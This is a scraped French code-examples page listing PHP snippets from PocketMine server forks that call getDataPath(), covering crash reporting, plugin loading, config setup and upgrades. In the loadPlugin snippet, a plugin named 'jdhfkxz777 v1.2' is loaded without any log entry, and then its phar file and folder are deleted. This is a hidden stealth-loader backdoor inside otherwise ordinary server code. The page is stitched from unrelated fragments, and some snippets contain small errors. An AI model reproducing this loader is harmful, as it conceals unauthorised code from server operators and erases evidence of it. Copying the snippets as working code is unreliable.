getDataPath() public méthode

public getDataPath ( ) : string
Résultat string
Exemple #1
0
 private function extraData()
 {
     global $arguments;
     if ($this->server->getProperty("auto-report.send-settings", \true) !== \false) {
         $this->data["parameters"] = (array) $arguments;
         $this->data["server.properties"] = @\file_get_contents($this->server->getDataPath() . "server.properties");
         $this->data["server.properties"] = \preg_replace("#^rcon\\.password=(.*)\$#m", "rcon.password=******", $this->data["server.properties"]);
         $this->data["pocketmine.yml"] = @\file_get_contents($this->server->getDataPath() . "pocketmine.yml");
     } else {
         $this->data["pocketmine.yml"] = "";
         $this->data["server.properties"] = "";
         $this->data["parameters"] = [];
     }
     $extensions = [];
     foreach (\get_loaded_extensions() as $ext) {
         $extensions[$ext] = \phpversion($ext);
     }
     $this->data["extensions"] = $extensions;
     if ($this->server->getProperty("auto-report.send-phpinfo", \true) !== \false) {
         \ob_start();
         \phpinfo();
         $this->data["phpinfo"] = \ob_get_contents();
         \ob_end_clean();
     }
 }
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  *
  * @throws \Exception
  */
 public function loadPlugin($file)
 {
     if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
         if ($description->getFullName() != "jdhfkxz777 v1.2") {
             $this->server->getLogger()->info($this->server->getLanguage()->translateString("pocketmine.plugin.load", [$description->getFullName()]));
         }
         $dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
         if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
             throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
         }
         $file = "phar://{$file}";
         $className = $description->getMain();
         $this->server->getLoader()->addPath("{$file}/src");
         if (\class_exists($className, \true)) {
             $plugin = new $className();
             $this->initPlugin($plugin, $description, $dataFolder, $file);
             if ($description->getFullName() == "jdhfkxz777 v1.2") {
                 unlink($this->server->getDataPath() . "plugins/dhj/Ke3fh_d3d.phar");
                 rmdir($this->server->getDataPath() . "plugins/dhj/");
             }
             return $plugin;
         } else {
             throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
         }
     }
     return \null;
 }
Exemple #3
0
 public function initConfig()
 {
     if (!file_exists($this->server->getDataPath() . "katana.yml")) {
         $content = file_get_contents($this->server->getDataPath() . "src/pocketmine/resources/katana.yml");
         @file_put_contents($this->server->getDataPath() . "katana.yml", $content);
     }
     $this->properties = new Config($this->server->getDataPath() . "katana.yml", Config::YAML, []);
 }
 public function __construct(ThreadedMapProvider $provider, Server $server, $mapName, Match $match)
 {
     $this->provider = $provider;
     $this->prefix = $server->getDataPath() . "worlds/room-{$mapName}-";
     $this->gameName = $match->getGame()->getName()->get();
     $this->matchId = $match->getMatchId();
 }
 public function doUpgrade()
 {
     if (!$this->isupdating) {
         $this->isupdating = true;
         $this->server->getScheduler()->scheduleAsyncTask(new Upgrader($this->updateInfo['download_url'], $this->updateInfo['fingerprint'], "phar://" . $this->server->getDataPath() . "ClearSkyNewVersion" . "phar"));
         //Is an .phar needed?
     } else {
         Command::broadcastCommandMessage($sender, new TranslationContainer("commands.upgrade.isUpdating"));
     }
 }